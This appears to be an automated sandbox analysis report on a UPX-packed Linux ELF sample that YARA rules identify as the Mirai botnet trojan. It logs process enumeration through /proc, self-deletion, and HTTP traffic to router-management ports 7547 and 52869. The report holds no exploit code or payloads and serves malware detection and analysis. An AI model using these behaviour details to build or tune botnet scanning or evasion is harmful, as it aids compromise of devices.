Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/0@0/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 4.10 Copyright (C) 1996-2023 the UPX Team. All Rights Reserved. $

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5465)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5466)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5467)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5468)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5469)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5470)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior

Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/5395/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/3762/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/3644/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	File opened: /proc/30/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/x86.elf (PID: 5451)

File: /tmp/x86.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48158 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55842 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34822 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48190 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48158
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46914
Source: unknown	Network traffic detected: HTTP traffic on port 55256 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55860 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40228 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46946
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38676 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34416 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53494 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38724 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33880 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55842 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42640 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33562 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 36814 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39944 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53518 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57706 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34480 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38288 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 33948 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42706 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40032 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 34416 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48190
Source: unknown	Network traffic detected: HTTP traffic on port 44724 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33190 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32992 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43864 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 57706
Source: unknown	Network traffic detected: HTTP traffic on port 57738 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 38288 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 57738
Source: unknown	Network traffic detected: HTTP traffic on port 54212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44724
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 54212
Source: unknown	Network traffic detected: HTTP traffic on port 54266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37568 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48228 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 54266
Source: unknown	Network traffic detected: HTTP traffic on port 46644 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49026 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37612 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48228
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49038 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48272
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59992 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40394 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60000 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59992
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44754
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60000
Source: unknown	Network traffic detected: HTTP traffic on port 53710 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 38044 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53710 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 38636 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58818 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34452 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58130 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 52738 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37190 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58836 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45302 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34488 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52524 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52764 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51526 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38964 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56294 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52662 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45302
Source: unknown	Network traffic detected: HTTP traffic on port 35418 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37380 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52674 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52662
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45338
Source: unknown	Network traffic detected: HTTP traffic on port 37386 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42426 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52524 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52548 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52674
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52524
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52548
Source: unknown	Network traffic detected: HTTP traffic on port 38044 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48278 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33942 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33954 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48278
Source: unknown	Network traffic detected: HTTP traffic on port 56362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40608 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46740 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45238 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46740
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54054
Source: unknown	Network traffic detected: HTTP traffic on port 54068 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54068
Source: unknown	Network traffic detected: HTTP traffic on port 40658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54978 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46754
Source: unknown	Network traffic detected: HTTP traffic on port 58530 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57124 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58530 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 56864 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54092 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40608 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53370 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54110 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54092
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53384 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48506 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54110
Source: unknown	Network traffic detected: HTTP traffic on port 41602 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54664 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34980 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38878 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49486 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41836 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54680 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54322 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35686
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43570 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35706
Source: unknown	Network traffic detected: HTTP traffic on port 41836 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38044 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41854 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42612 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52278 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43418 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53214 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57556 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60854 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41810 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60516 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51648 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52308 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34980 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43418
Source: unknown	Network traffic detected: HTTP traffic on port 43448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53242 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57590 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56648 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45958 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60854
Source: unknown	Network traffic detected: HTTP traffic on port 60884 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54322 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60548 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56680 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56648
Source: unknown	Network traffic detected: HTTP traffic on port 40290 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43448
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60884
